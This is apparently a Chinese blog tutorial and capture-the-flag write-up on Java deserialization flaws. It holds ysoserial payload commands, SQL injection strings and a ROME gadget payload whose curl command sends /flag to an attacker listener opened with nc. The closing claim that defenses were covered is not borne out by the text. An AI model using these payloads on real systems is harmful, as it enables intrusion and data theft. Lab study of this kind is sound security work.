文章目录
- java反序列化
- 概念
- 数据
- 示例
- Ysoserial工具使用
- 概念
- 原生态api
- 第三方组件
- 概念
- 复现
- 反序列化示例
- 靶场
- 过程
在现代应用程序开发中,Java反序列化漏洞已成为一个备受关注的安全问题。反序列化是Java中用于将字节流转换回对象的过程,但如果没有妥善处理,攻击者可以通过精心构造的恶意数据,利用反序列化漏洞执行任意代码,进而控制整个系统。理解Java反序列化漏洞的工作原理,并掌握其复现技巧,对于提升我们的安全防护水平至关重要。
本文将深入剖析Java反序列化漏洞的原理,展示如何在实际环境中复现该漏洞,并提供有效的防御措施。无论你是网络安全的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一同揭开Java反序列化漏洞的神秘面纱,提升我们的安全防护能力
java反序列化
-
概念
- Java 反序列化是一种将字节流转换回相应的 Java 对象的过程。反序列化与序列化相对应,序列化是将对象转换为字节流的过程。反序列化在分布式系统、持久化存储、网络通信和深度复制等应用中非常重要。
-
数据
-
功能特性
- 反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
-
数据特性
- 如果一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
- 如果以aced开头,那么他就是这一段java序列化的16进制。
-
出现具体
- http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等 Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等 (xacXed)xml Xstream, XmldEcoder等(http Body: Content-type: application/xml) json(jackson,fastjson)http请求中包含
-
-
示例
-
序列化与反序列化操作–代码
package SerialTest; import java.io.*; public class SerializableTest { public static void main(String[] args) throws Exception { serialPerson(); Person person = deserialPerson(); System.out.println(person); } /** * Person对象序列化 * @throws IOException */ private static void serialPerson() throws IOException { Person person = new Person("xiaodi", 28, "男", 101); ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream(new File("d:/1/person.txt")) ); oos.writeObject(person); System.out.println("person 对象序列化成功!"); oos.close(); } /** * Person对象反序列化 * @return * @throws Exception */ private static Person deserialPerson() throws Exception { ObjectInputStream ois = new ObjectInputStream( new FileInputStream(new File("d:/1/x.txt")) ); Person person = (Person)ois.readObject(); System.out.println("person 对象反序列化成功!"); //Runtime.getRuntime().exec("calc.exe"); return person; } }
-
-
Ysoserial工具使用
-
概念
- 用于生成原生态或者是第三方组件的序列化数据
-
原生态api
-
dns利用序列化数据生成
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://hnsmhz.dnslog.cn" > b.txt
-
将其进行反序列化成功ping通dns
-
-
第三方组件
-
概念
-
复现
-
靶场:webgoat
-
环境启动
java -jar webgoat-server-8.1.0.jar --server.port=8000 //注意,java的版本为11 //登录地址:http://localhost:8000/WebGoat 注意大小写
-
通过代码审计,发现符合Hibernate1 序列化库特征,可以直接使用现有的库来构造弹出计算机的payload,也可以直接用网站的库来构造payload
-
payload
java -cp "hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar" ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin
-
-
生成bin文件
-
因为网站用的是base64加密,故用base64加密脚本进行加密
-
解密脚本
import base64 file = open("flag.bin","rb") now = file.read() ba = base64.b64encode(now) print(ba) file.close()
-
-
-
-
-
反序列化示例
-
靶场
- buuctf搜索2020 朱雀组 think java
- 源码下载:class.zip
-
过程
-
打开源码,发现sql注入
-
对其进行注入,获得admin的账号和密码
-
payload
url:http://fc2c9ce6-f7ce-43cd-88e8-4575718ab6b9.node5.buuoj.cn:81/common/test/sqlDict dbName=myapp?a='union select (select name from user)# dbName=myapp?a='union select (select pwdfrom user)#
-
-
通过扫描可以得到有swagger未授权漏洞,打开http://fc2c9ce6-f7ce-43cd-88e8-4575718ab6b9.node5.buuoj.cn:81/swagger-ni.html页面
-
在接口文档中输入账号和密码,登录成功,查看返回的数据,发现rO0AB开头,疑似base64加密后的java序列化数据
-
发现此页面存在对token的验证文档,可能需要进行反序列化操作
-
通过生成ping域名的payload并对其进行base64加密测试,发现存在此类漏洞
-
payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ag61d5.dnslog.cn" > b.txt
-
-
通过nc将读取flag值并反弹到服务器
-
payload
服务端: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://xx.xx.xx.xx:4444/ -d @/flag" > b.txt 攻击者启动监听: nc -lvp 4444
-
-
通过本文的学习,我们不仅深入了解了Java反序列化漏洞的原理,还掌握了复现该漏洞的具体步骤和有效的防御策略。安全防护不仅是技术上的突破,更是一种持续关注和防范的意识。通过对Java反序列化漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据免受攻击。
在信息安全的道路上,我们每个人都有责任和义务不断提升自身的安全技能和意识。希望本文能为你在安全防护方面提供有价值的指导和帮助,激发你对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全和可靠的网络环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!